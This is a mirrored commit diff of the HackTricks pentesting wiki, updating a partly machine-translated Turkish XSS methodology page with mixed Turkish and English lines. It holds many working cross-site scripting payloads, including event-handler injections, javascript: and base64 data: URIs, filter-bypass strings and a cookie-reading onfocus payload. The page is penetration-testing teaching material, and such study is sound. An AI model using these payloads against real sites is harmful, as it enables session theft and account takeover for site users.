maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-web/xss-cross-site-scripting/README.md', 'sr

Browse Source
This commit is contained in:
Translator 2025-09-29 15:01:32 +00:00
parent 632c1d45c4
commit c5638a7e12
3 changed files with 342 additions and 203 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

1
src/SUMMARY.md
View File

@ -725,6 +725,7 @@
- [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md)
- [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md)
- [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md)
- [Wasm Linear Memory Template Overwrite Xss](pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md)
- [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md)
- [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
- [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md)

411
src/pentesting-web/xss-cross-site-scripting/README.md
View File

@ -4,32 +4,32 @@
## Metodoloji
1. Kontrol ettiğiniz herhangi bir değer (**_parameters_**, **_path_**, **_headers_**?, **_cookies_**?) HTML'de **yansıtılıyor** veya **JS** kodu tarafından **kullanılıyor** mu diye kontrol edin.
2. Yansıtıldığı/kullanıldığı **bağlamı bulun**.
1. HTML'de **yansıtılan** veya **JS** kodu tarafından **kullanılan** herhangi bir değeri (_parametreler_, _path_, _headers_?, _cookies_?) **kontrol edip etmediğinizi** kontrol edin.
2. Yansıtıldığı/kullanıldığı **konteksti bulun**.
3. Eğer **yansıtılıyorsa**
1. Hangi **sembolleri kullanabileceğinizi** kontrol edin ve buna göre payload'u hazırlayın:
1. **raw HTML** içinde:
1. Yeni HTML tag'leri oluşturabiliyor musunuz?
2. `javascript:` protokolünü destekleyen event'leri veya attribute'ları kullanabiliyor musunuz?
3. Korumaları atlatabilir misiniz?
4. HTML içeriği herhangi bir client side JS motoru (_AngularJS_, _VueJS_, _Mavo_...) tarafından yorumlanıyor mu? Bu durumda bir [**Client Side Template Injection**](../client-side-template-injection-csti.md) suistimal edilebilir.
5. Eğer JS çalıştıran HTML etiketleri oluşturamıyorsanız, bir [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html) suistimal edilebilir mi?
1. **Hangi sembolleri kullanabildiğinizi** kontrol edin ve buna göre payload hazırlayın:
1. **Ham HTML** içinde:
1. Yeni HTML tagleri oluşturabilir misiniz?
2. `javascript:` protokolünü destekleyen event veya attribute'ları kullanabilir misiniz?
3. Koruma mekanizmalarını atlayabilir misiniz?
4. HTML içeriği herhangi bir client side JS engine (_AngularJS_, _VueJS_, _Mavo_...) tarafından yorumlanıyorsa, bir [Client Side Template Injection](../client-side-template-injection-csti.md) istismar edebilirsiniz.
5. JS kodu çalıştıran HTML tagleri oluşturamıyorsanız, bir [Dangling Markup - HTML scriptless injection](../dangling-markup-html-scriptless-injection/index.html) istismar edebilir misiniz?
2. Bir **HTML tag** içinde:
1. Attribute'tan ve tag'ten kaçıp raw HTML bağlamına çıkabilir misiniz?
2. JS kodu çalıştırmak için yeni event/attribute'lar oluşturabilir misiniz?
3. Değerin yansıtıldığı attribute JS çalıştırmayı destekliyor mu?
4. Korumaları atlatabilir misiniz?
1. Raw HTML konteksine çıkabilir misiniz?
2. JS kodu çalıştıracak yeni event/attribute'lar oluşturabilir misiniz?
3. Takıldığınız attribute JS çalıştırmayı destekliyor mu?
4. Koruma mekanizmalarını atlayabilir misiniz?
3. **JavaScript kodu** içinde:
1. `<script>` tag'inden çıkabilir misiniz?
2. String'den kaçıp farklı JS kodu çalıştırabilir misiniz?
3. Girdiniz template literal (` `` `) içinde mi?
4. Korumaları atlatabilir misiniz?
1. `<script>` tag'inden kaçabilir misiniz?
2. string'ten kaçıp farklı JS kodu çalıştırabilir misiniz?
3. Girdiğiniz template literal `` ` `` içinde mi?
4. Koruma mekanizmalarını atlayabilir misiniz?
4. Çalıştırılan Javascript **fonksiyonu**
1. Çalıştırılacak fonksiyonun adını belirtebilirsiniz. Örnek: `?callback=alert(1)`
1. Çalıştırılacak fonksiyonun adını belirtebilirsiniz. örn.: `?callback=alert(1)`
4. Eğer **kullanılıyorsa**:
1. Bir **DOM XSS** suistimal edebilirsiniz; girdinizin nasıl kontrol edildiğine ve **kontrol edilen girdinin herhangi bir sink tarafından kullanılıp kullanılmadığına** dikkat edin.
1. Bir **DOM XSS**'i istismar edebilirsiniz, girdinizin nasıl kontrol edildiğine ve kontrol ettiğiniz girdinin herhangi bir sink tarafından kullanılıp kullanılmadığına dikkat edin.
Karmaşık bir XSS üzerinde çalışırken şu konu ilginizi çekebilir:
Karmaşık bir XSS üzerinde çalışırken ilginizi çekebilecek şeyler:
{{#ref}}
@ -38,31 +38,31 @@ debugging-client-side-js.md
## Yansıtılan değerler
Başarılı bir XSS exploit'i için ilk bulmanız gereken şey web sayfasında **sizin tarafınızdan kontrol edilen ve yansıtılan bir değer**dir.
Bir XSS'i başarıyla istismar etmek için önce bulmanız gereken şey, **sizin tarafınızdan kontrol edilen ve web sayfasında yansıtılan bir değerdir**.
- **Ara aşamada yansıtılan**: Eğer bir parametrenin veya path'in değeri web sayfasında yansıtılıyorsa **Reflected XSS**'ten faydalanabilirsiniz.
- **Stored ve yansıtılan**: Eğer sizin kontrolünüzdeki bir değer sunucuda saklanıyor ve bir sayfaya erişimde her seferinde yansıtılıyorsa **Stored XSS** suistimal edilebilir.
- **JS tarafından erişilen**: Eğer sizin kontrolünüzdeki bir değere JS ile erişiliyorsa **DOM XSS** suistimal edilebilir.
- **Ara yansıtılmış**: Bir parametrenin veya hatta path'in değeri web sayfasında yansıtılıyorsa **Reflected XSS**'i istismar edebilirsiniz.
- **Kaydedilmiş ve yansıtılan**: Sizin tarafınızdan kontrol edilen bir değer sunucuda kaydedilip her sayfa erişiminde yansıtılıyorsa **Stored XSS**'i istismar edebilirsiniz.
- **JS aracılığıyla erişilen**: Sizin tarafınızdan kontrol edilen bir değere JS ile erişiliyorsa **DOM XSS**'i istismar edebilirsiniz.
## Bağlamlar
## Kontekstler
XSS'i exploit etmeye çalışırken ilk bilmeniz gereken şey girdinizin **nerede yansıtıldığıdır**. Bağlama bağlı olarak JS kodunu farklı yollarla çalıştırabilirsiniz.
Bir XSS'i istismar etmeye çalışırken ilk bilmeniz gereken şey, **girdinizin nerede yansıtıldığıdır**. Kontekste bağlı olarak, keyfi JS kodunu farklı yollarla çalıştırabilirsiniz.
### Raw HTML
### Ham HTML
Girdiniz **raw HTML** içinde yansıtılıyorsa JS kodu çalıştırmak için bazı **HTML tag'lerini** suistimal etmeniz gerekir: `<img , <iframe , <svg , <script` ... bunlar kullanabileceğiniz birçok HTML etiketinden sadece birkaçıdır.\
Ayrıca [**Client Side Template Injection**](../client-side-template-injection-csti.md) aklınızda olsun.
Girdiğiniz **ham HTML** sayfasında yansıtılıyorsa JS kodu çalıştırmak için bazı **HTML tag**'lerini kötüye kullanmanız gerekecek: `<img , <iframe , <svg , <script` ... bunlar kullanabileceğiniz birçok HTML taginden sadece bazılarıdır.\
Ayrıca [Client Side Template Injection](../client-side-template-injection-csti.md) unutmayın.
### HTML tag attribute değeri içinde
### HTML tag attribute'ları içinde
Girdiniz bir tag'ın attribute değerinin içinde yansıtılıyorsa şu denemeleri yapabilirsiniz:
Girdiniz bir tag'in attribute değeri içinde yansıtılıyorsa şunları deneyebilirsiniz:
1. Attribute'tan ve tag'ten **kaçmak** (o zaman raw HTML bağlamında olursunuz) ve suistimal etmek için yeni HTML tag'i oluşturmak: `"><img [...]`
2. Eğer **attribute'tan kaçabiliyor ama tag'ten kaçamıyorsanız** (`>` encode edilip siliniyorsa), tag'e bağlı olarak JS kodu çalıştıran bir **event** oluşturabilirsiniz: `" autofocus onfocus=alert(1) x="`
3. Eğer **attribute'tan kaçamıyorsanız** (`"` encode ediliyor veya siliniyorsa), hangi **attribute** içinde değerin yansıtıldığına ve değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize bağlı olarak bunu suistimal edebilirsiniz. Örneğin, `onclick=` gibi bir event'i kontrol ediyorsanız, tıklandığında arbitrar kod çalıştırabilirsiniz. Diğer ilginç bir örnek `href` attribute'üdür; burada `javascript:` protokolünü kullanarak arbitrar kod çalıştırabilirsiniz: `href="javascript:alert(1)"`
4. Girdiniz "**suistimal edilemez tag'lar**" içinde yansıtılıyorsa `accesskey` hilesini deneyebilirsiniz (bunu exploit etmek için bir çeşit sosyal mühendislik gerekir): `" accesskey="x" onclick="alert(1)" x="`
1. Attribute'dan ve tag'den **kaçmak** (sonra raw HTML içinde olursunuz) ve kötüye kullanmak için yeni bir HTML tag oluşturmak: `"><img [...]`
2. **Attribute'dan kaçıp tag'den kaçamıyorsanız** (`>` encode edilmiş veya silinmişse), tag'e bağlı olarak JS kodu çalıştıran bir **event** oluşturabilirsiniz: `" autofocus onfocus=alert(1) x="`
3. **Attribute'dan kaçamıyorsanız** (`"` encode ediliyor veya siliniyorsa), hangi attribute içinde yansıtıldığını ve değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize bağlı olarak istismar edebilirsiniz. Örneğin, `onclick=` gibi bir event'i kontrol ediyorsanız tıklanınca rastgele kod çalıştırabilirsiniz. İlginç bir örnek `href` attribute'udur; burada `javascript:` protokolünü kullanarak rastgele kod çalıştırabilirsiniz: **`href="javascript:alert(1)"`**
4. Girdiğiniz değer "**istismar edilemeyen tag'ler**" içinde yansıtılıyorsa `accesskey` numarasıyla (sosyal mühendislik gerekecek) zafiyeti kötüye kullanmayı deneyebilirsiniz: **`" accesskey="x" onclick="alert(1)" x="`**
Angular'ın bir class adını kontrol etmeniz durumunda XSS çalıştırdığı garip örnek:
Bir class adı kontrol ediliyorsa Angular'ın XSS çalıştırdığı tuhaf örnek:
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@ -70,15 +70,15 @@ Angular'ın bir class adını kontrol etmeniz durumunda XSS çalıştırdığı
```
### JavaScript kodu içinde
Bu durumda girdiniz bir HTML sayfasının **`<script> [...] </script>`** etiketleri arasında, bir `.js` dosyasının içinde veya **`javascript:`** protokolünü kullanan bir attribute içinde yansıtılmıştır:
Bu durumda girdiniz bir HTML sayfasındaki **`<script> [...] </script>`** etiketleri arasında, bir `.js` dosyası içinde veya **`javascript:`** protokolü kullanan bir attribute içinde yansıtılır:
- Eğer girdiniz **`<script> [...] </script>`** etiketleri arasına yansıtıldıysa, girişiniz herhangi bir tür tırnak içinde olsa bile `</script>` enjekte ederek bu bağlamdan çıkmayı deneyebilirsiniz. Bu, **tarayıcı önce HTML etiketlerini ayrıştıracağı** ve sonra içeriği işleyeceği için çalışır; dolayısıyla enjekte ettiğiniz `</script>` etiketinin HTML kodu içinde olduğunu fark etmez.
- Eğer **inside a JS string** içinde yansıtıldıysa ve önceki numara işe yaramıyorsa, string'ten **exit** etmeniz, kodunuzu **execute** etmeniz ve JS kodunu **reconstruct** etmeniz gerekir (herhangi bir hata olursa kod çalıştırılmaz:
- Eğer **`<script> [...] </script>`** etiketleri arasında yansıtılıyorsa, girdiniz herhangi bir tırnak içinde olsa bile `</script>` enjekte etmeyi ve bu bağlamdan kaçmayı deneyebilirsiniz. Bu, **tarayıcının önce HTML etiketlerini parse etmesi** ve sonra içeriği işlemesi nedeniyle çalışır; dolayısıyla enjekte ettiğiniz `</script>` etiketinin HTML kodu içinde olduğunu fark etmeyecektir.
- Eğer **inside a JS string** içinde yansıtılıyorsa ve son hile işe yaramıyorsa string'ten **çıkmanız**, kodunuzu **çalıştırmanız** ve JS kodunu **yeniden oluşturmanız** gerekir (herhangi bir hata olursa, çalıştırılmayacaktır):
- `'-alert(1)-'`
- `';-alert(1)//`
- `\';alert(1)//`
- Eğer template literals içinde yansıtıldıysa, `${ ... }` sözdizimini kullanarak **JS ifadelerini embed** edebilirsiniz: `var greetings = `Hello, ${alert(1)}``
- **Unicode encode** geçerli **javascript code** yazmak için işe yarar:
- Eğer template literals içinde yansıtılıyorsa `${ ... }` sözdizimini kullanarak **JS ifadeleri embed edebilirsiniz**: `` var greetings = `Hello, ${alert(1)}` ``
- **Unicode encode** kullanmak, **valid javascript code** yazmak için işe yarar:
```javascript
alert(1)
alert(1)
@ -86,8 +86,8 @@ alert(1)
```
#### Javascript Hoisting
Javascript Hoisting, fonksiyonları, değişkenleri veya sınıfları kullanıldıktan sonra bildirebilme imkânını ifade eder; bu, bir XSS'in bildirilmeyen değişkenleri veya fonksiyonları kullandığı senaryoları istismar etmenizi sağlar.\
**Daha fazla bilgi için şu sayfayı inceleyin:**
Javascript Hoisting, fonksiyonları, değişkenleri veya sınıfları kullanıldıktan sonra **bildirme (declare) yapabilme fırsatını** ifade eder; böylece bir XSS'in tanımlanmamış değişkenler veya fonksiyonlar kullandığı senaryolardan yararlanabilirsiniz.\
**Daha fazla bilgi için şu sayfaya bakın:**
{{#ref}}
@ -96,19 +96,19 @@ js-hoisting.md
### Javascript Function
Several web pages have endpoints that **accept as parameter the name of the function to execute**. A common example to see in the wild is something like: `?callback=callbackFunc`.
Bazı web sayfalarının, **çalıştırılacak fonksiyonun adını parametre olarak kabul eden** endpoints'leri vardır. Gerçekte sık karşılaşılan bir örnek şu şekildedir: `?callback=callbackFunc`.
Kullanıcıdan doğrudan verilen bir şeyin çalıştırılmaya çalışılıp çalıştırılmadığını anlamanın iyi bir yolu, **parametre değerini değiştirmek** (ör. 'Vulnerable') ve console'da şu tür hatalara bakmaktır:
Kullanıcı tarafından doğrudan verilen bir şeyin yürütülmeye çalışılıp çalışılmadığını anlamanın iyi bir yolu, **parametre değerini değiştirmek** (örneğin 'Vulnerable' olarak) ve konsolda şu tür hatalara bakmaktır:
![](<../../images/image (711).png>)
Eğer vulnerable ise, yalnızca şu değeri göndererek bir **alert tetikleyebilirsiniz**: **`?callback=alert(1)`**. Ancak bu endpoint'lerin içeriği genellikle sadece harf, rakam, nokta ve alt çizgi (**`[\w\._]`**) kabul edecek şekilde **doğrulama** yaptığını görmek yaygındır.
Eğer zafiyet varsa, sadece şu değeri göndererek **bir alert tetikleyebilirsiniz**: **`?callback=alert(1)`**. Ancak, bu tür endpoints'lerin genellikle içeriği doğrulayarak yalnızca harf, rakam, nokta ve alt çizgi kabul etmeleri (**`[\w\._]`**) çok yaygındır.
Ancak bu sınırlama olsa bile bazı işlemleri gerçekleştirmek mümkün. Bunun sebebi, bu geçerli karakterleri kullanarak DOM'daki herhangi bir elemana **erişebilmeniz**dir:
Buna rağmen, bu kısıtlama olsa bile bazı işlemleri gerçekleştirmek hâlâ mümkündür. Bunun nedeni, bu geçerli karakterleri kullanarak DOM'daki herhangi bir elemana **erişebilmeniz**dir:
![](<../../images/image (747).png>)
Bazı faydalı fonksiyonlar için:
Bunun için bazı kullanışlı fonksiyonlar:
```
firstElementChild
lastElementChild
@ -129,7 +129,7 @@ some-same-origin-method-execution.md
### DOM
There is **JS code** that is using **unsafely** some **data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code.
Bazı yerlerde `location.href` gibi saldırgan tarafından kontrol edilen bazı verileri **güvenli olmayan** şekilde kullanan **JS code** bulunur. Bir saldırgan bunu kötüye kullanarak rastgele JS kodu çalıştırabilir.
{{#ref}}
@ -138,7 +138,7 @@ dom-xss.md
### **Universal XSS**
These kind of XSS can be found **anywhere**. They not depend just on the client exploitation of a web application but on **any** **context**. These kind of **arbitrary JavaScript execution** can even be abuse to obtain **RCE**, **read** **arbitrary** **files** in clients and servers, and more.\
Bu tür XSS'ler **her yerde** bulunabilir. Bunlar sadece bir web uygulamasının istemci tarafı istismarına bağlı değildir, herhangi bir **bağlam**da ortaya çıkabilir. Bu tür **arbitrary JavaScript execution**, hatta **RCE** elde etmek, istemci ve sunucularda **rastgele** dosyaları okumak ve daha fazlası için bile kullanılabilir.\
Some **examples**:
@ -157,9 +157,8 @@ server-side-xss-dynamic-pdf.md
## Injecting inside raw HTML
When your input is reflected **inside the HTML page** or you can escape and inject HTML code in this context the **first** thing you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **char** and check if it's being **HTML encoded** or **deleted** of if it is **reflected without changes**. **Only in the last case you will be able to exploit this case**.\
For this cases also **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Not: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\***\***\*_
Girdiğiniz değer **HTML sayfası içinde** yansıtılıyorsa veya bu bağlamda HTML kodu kaçıp enjekte edebiliyorsanız, yapmanız gereken **ilk** şey yeni tag'ler oluşturmak için `<` karakterini kötüye kullanıp kullanamayacağınızı kontrol etmektir: Sadece o **karakteri** **yansıtmayı** deneyin ve bunun **HTML encoded** edilip edilmediğini veya **silinip** silinmediğini ya da **değişmeden yansıtılıp yansıtılmadığını** kontrol edin. **Sadece son durumda bu durumu istismar edebilirsiniz**.\
For this cases also **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ _**Note: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\***\***\*_
In this case and if no black/whitelisting is used, you could use payloads like:
```html
@ -169,8 +168,8 @@ alert(1)
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
```
Ama, eğer tags/attributes black/whitelisting kullanılıyorsa, hangi tags'leri oluşturabileceğinizi **brute-force** ile tespit etmeniz gerekir.\
Hangi tags'lerin izinli olduğunu **bulduktan** sonra, bulunduğunuz geçerli tags içinde hangi attributes/events'in kullanılabildiğini **brute-force** ederek bağlama nasıl saldırabileceğinizi görmelisiniz.
Ancak, eğer tags/attributes siyah/beyaz listeleme kullanılıyorsa, hangi tags oluşturabileceğinizi **brute-force** ile belirlemeniz gerekir.\
Hangi tags'in izin verildiğini tespit ettikten sonra, bağlamı nasıl saldırılabileceğinizi görmek için bulunan geçerli tags içinde **brute-force attributes/events** yapmanız gerekir.
### Tags/Events brute-force
@ -178,13 +177,13 @@ Go to [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**
### Custom tags
Eğer hiçbir geçerli HTML tag'i bulamadıysanız, **custom tag** oluşturmaya çalışabilir ve `onfocus` attribute'u ile JS kodu çalıştırabilirsiniz. XSS isteğinde, URL'yi `#` ile sonlandırmanız gerekir; bu sayfanın o nesneye **focus** olmasını ve kodu **execute** etmesini sağlar:
If you didn't find any valid HTML tag, you could try to **create a custom tag** and and execute JS code with the `onfocus` attribute. In the XSS request, you need to end the URL with `#` to make the page **focus on that object** and **execute** the code:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
### Blacklist Bypasses
### Kara Liste Atlatmaları
Eğer bir tür blacklist kullanılıyorsa, onu bazı basit hilelerle bypass etmeyi deneyebilirsiniz:
Eğer bir tür kara liste kullanılıyorsa, onu bazı basit hilelerle atlatmayı deneyebilirsiniz:
```javascript
//Random capitalization
<script> --> <ScrIpT>
@ -234,31 +233,31 @@ onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
```
### Length bypass (small XSSs)
### Uzunluk bypass'ı (small XSSs)
> [!NOTE] > **Farklı ortamlar için daha fazla tiny XSS payload** [**burada bulunabilir**](https://github.com/terjanq/Tiny-XSS-Payloads) ve [**burada**](https://tinyxss.terjanq.me).
> [!NOTE] > **Farklı ortamlar için daha fazla tiny XSS** payload [**can be found here**](https://github.com/terjanq/Tiny-XSS-Payloads) and [**here**](https://tinyxss.terjanq.me).
```html
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
```
Sonuncusu 2 unicode karakteri kullanıyor ve 5'e genişliyor: telsr\
More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
Bu karakterlerin daha fazlasını [burada](https://www.unicode.org/charts/normalization/) bulabilirsiniz.\
Hangi karakterlerde ayrıştırıldıklarını kontrol etmek için [buraya](https://www.compart.com/en/unicode/U+2121) bakın.
### Click XSS - Clickjacking
Eğer açığı istismar etmek için kullanıcının önceden doldurulmuş verilerle bir **linke veya forma tıklaması** gerekiyorsa, [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (eğer sayfa savunmasızsa) deneyebilirsiniz.
Eğer zafiyetten yararlanmak için **kullanıcının önceden doldurulmuş bir linke veya forma tıklaması** gerekiyorsa, sayfa zafiyetliyse [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) deneyebilirsiniz.
### Impossible - Dangling Markup
Eğer sadece **HTML tagi içinde bir attribute ile JS kodu çalıştırmanın imkansız olduğunu** düşünüyorsanız, [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html) kontrol etmelisiniz çünkü açığı **exploit** ederek **JS** çalıştırmadan faydalanabilirsiniz.
Eğer sadece **JS kodu çalıştıracak bir HTML tag'i ve attribute oluşturmanın imkansız olduğunu** düşünüyorsanız, [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html) kontrol etmelisiniz çünkü **exploit** edilebilecek zafiyeti **JS** çalıştırmadan da kullanabilirsiniz.
## HTML etiketi içine enjeksiyon
## Injecting inside HTML tag
### Etiket içinde / attribute değerinden kaçış
### Inside the tag/escaping from attribute value
Eğer **HTML etiketi içinde** iseniz, ilk deneyeceğiniz şey etiketten **kaçmak** ve JS kodu çalıştırmak için [previous section](#injecting-inside-raw-html)da bahsedilen tekniklerden bazılarını kullanmak olabilir.\
Eğer etiketten **kaçamazsanız**, JS kodu çalıştırmayı denemek için etiket içine yeni attribute'lar oluşturabilirsiniz; örneğin şöyle bir payload kullanarak (_bu örnekte attribute'dan kaçmak için çift tırnak kullanıldığına dikkat edin; girdiniz doğrudan etiketin içine yansıtılıyorsa bunlara ihtiyacınız olmaz_):
Eğer **bir HTML tag'ı içindeyseniz**, ilk deneyebileceğiniz şey tag'dan **escape** ederek [önceki bölüm](#injecting-inside-raw-html)da bahsedilen tekniklerden bazılarını kullanıp JS kodu çalıştırmaktır.\
Eğer **tag'dan escape edemiyorsanız**, JS kodu çalıştırmayı denemek için tag içinde yeni attribute'lar oluşturabilirsiniz; örneğin şu şekilde bir payload kullanabilirsiniz (_not: bu örnekte attribute'tan kaçmak için double quotes kullanılıyor, input'unuz doğrudan tag içine yansıyorsa bunlara ihtiyacınız olmaz_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -275,14 +274,13 @@ Eğer etiketten **kaçamazsanız**, JS kodu çalıştırmayı denemek için etik
```
### Öznitelik içinde
Even if you **cannot escape from the attribute** (`"` is being encoded or deleted), depending on **which attribute** your value is being reflected in **if you control all the value or just a part** you will be able to abuse it. For **example**, if you control an event like `onclick=` you will be able to make it execute arbitrary code when it's clicked.\
Another interesting **example** is the attribute `href`, where you can use the `javascript:` protocol to execute arbitrary code: **`href="javascript:alert(1)"`**
Even if you **öznitelikten kaçış yapamıyor olsanız** (`"` is being encoded or deleted), depending on **hangi öznitelikte** your value is being reflected in **değerin tamamını mı yoksa yalnızca bir kısmını mı kontrol ettiğinize** you will be able to abuse it. For **örnek**, if you control an event like `onclick=` you will be able to make it execute arbitrary code when it's clicked.\ Another interesting **örnek** is the attribute `href`, where you can use the `javascript:` protocol to execute arbitrary code: **`href="javascript:alert(1)"`**
**Bypass inside event using HTML encoding/URL encode**
**HTML encoding/URL encode kullanarak event içinde bypass**
The **HTML encoded characters** inside the value of HTML tags attributes are **decoded on runtime**. Therefore something like the following will be valid (the payload is in bold): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
The **HTML ile kodlanmış karakterler** inside the value of HTML tags attributes are **çalışma zamanında çözülür**. Therefore something like the following will be valid (the payload is in bold): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
Note that **any kind of HTML encode is valid**:
Note that **her türlü HTML kodlaması geçerlidir**:
```javascript
//HTML entities
&apos;-alert(1)-&apos;
@ -299,19 +297,19 @@ Note that **any kind of HTML encode is valid**:
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>
```
**Not: URL encode de çalışacaktır:**
**URL encode'in de işe yarayacağını unutmayın:**
```python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
```
**Event içinde Unicode encode kullanarak Bypass**
**Unicode encode kullanarak event içinde Bypass**
```javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
```
### Öznitelik içinde özel protokoller
### attribute içinde özel protokoller
Orada bazı yerlerde protokoller **`javascript:`** veya **`data:`** kullanarak **keyfi JS kodu çalıştırabilirsiniz**. Bazıları kullanıcı etkileşimi gerektirecek, bazıları gerektirmeyecek.
Burada bazı yerlerde **`javascript:`** veya **`data:`** protokollerini **keyfi JS kodu çalıştırmak için** kullanabilirsiniz. Bazıları kullanıcı etkileşimi gerektirir; bazıları ise gerekmez.
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@ -333,7 +331,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Bu protokolleri enjekte edebileceğiniz yerler**
**Genel olarak** `javascript:` protokolü **`href` özniteliğini kabul eden herhangi bir etikette kullanılabilir** ve **çoğu** `src` özniteliğini kabul eden etikette de kullanılabilir (ancak `<img>` değil).
**Genel olarak** `javascript:` protokolü **`href` özniteliğini kabul eden herhangi bir etikette kullanılabilir** ve **çoğu** `src` özniteliğini kabul eden etiketlerde de kullanılabilir (ancak `<img>` değil)
```html
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -355,21 +353,21 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Diğer obfuscation hileleri**
_**Bu durumda önceki bölümdeki HTML encoding ve Unicode encoding hilesi de geçerlidir çünkü bir öznitelik içinde bulunuyorsunuz.**_
_**Bu durumda, bir öznitelik içinde olduğunuz için önceki bölümdeki HTML encoding ve Unicode encoding hilesi de geçerlidir.**_
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
Ayrıca, bu durumlar için başka bir **güzel hile** daha var: **`javascript:...` içindeki girdiniz URL encoded olsa bile, çalıştırılmadan önce URL decoded edilecektir.** Dolayısıyla, **single quote** kullanarak **string**'den **escape** etmeniz gerekiyorsa ve **it's being URL encoded** olduğunu görürseniz, unutmayın ki **önemli değil,** **execution** sırasında **single quote** olarak **interpreted** edilecektir.
Ayrıca, bu durumlar için başka bir **nice trick** daha var: **`javascript:...` içindeki girdiniz URL encoded olsa bile, yürütülmeden önce URL decoded edilecektir.** Dolayısıyla, eğer **string**'den **escape** etmek için bir **single quote** kullanmanız gerekiyorsa ve bunun **URL encoded** olduğunu görüyorsanız, unutmayın ki **önemli değil,** yürütme sırasında bu bir **single quote** olarak **interpreted** edilecektir.
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
Dikkat: eğer **her ikisini de** `URLencode + HTMLencode`'i herhangi bir sırayla kullanarak **payload**'ı encode etmeye çalışırsanız bu **çalışmayacaktır**, ancak **payload içinde bunları karıştırabilirsiniz**.
Dikkat: herhangi bir sırayla `URLencode + HTMLencode`'i **her ikisini birden** kullanarak **payload**'ı encode etmeye çalışırsanız bu **çalışmayacaktır**, ancak **payload** içinde bunları **karıştırabilirsiniz**.
**Hex ve Octal encode'i `javascript:` ile kullanma**
**`javascript:` ile Hex ve Octal encode kullanımı**
En azından `iframe`'in `src` özniteliği içinde **Hex** ve **Octal encode** kullanarak JS çalıştıracak **HTML taglarını** belirtebilirsiniz:
`iframe`'in `src` attribute`ı` içine (en azından) **Hex** ve **Octal encode** kullanarak **JS çalıştırmak için HTML tag'larını** yazabilirsiniz:
```javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
@ -385,17 +383,16 @@ En azından `iframe`'in `src` özniteliği içinde **Hex** ve **Octal encode** k
```javascript
<a target="_blank" rel="opener"
```
Eğer rastgele bir **`<a href=`** etiketi içine herhangi bir URL enjekte edebiliyorsanız ve bu etiket **`target="_blank" and rel="opener"`** özniteliklerini içeriyorsa, bu davranışı suistimal etmek için **aşağıdaki sayfayı** kontrol edin:
Eğer herhangi bir URL'yi rastgele bir **`<a href=`** etiketine enjekte edebiliyorsanız ve bu etiket **`target="_blank" and rel="opener"`** özniteliklerini içeriyorsa, bu davranışı istismar etmek için **aşağıdaki sayfayı** kontrol edin:
{{#ref}}
../reverse-tab-nabbing.md
{{#endref}}
### on Event Handlers Bypass
### on Olay İşleyicileri Bypass
Öncelikle faydalı **"on" event handlers** için bu sayfayı kontrol edin ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)).\
Eğer bazı blacklist'ler bu event handler'ları oluşturmanızı engelliyorsa, aşağıdaki bypass'ları deneyebilirsiniz:
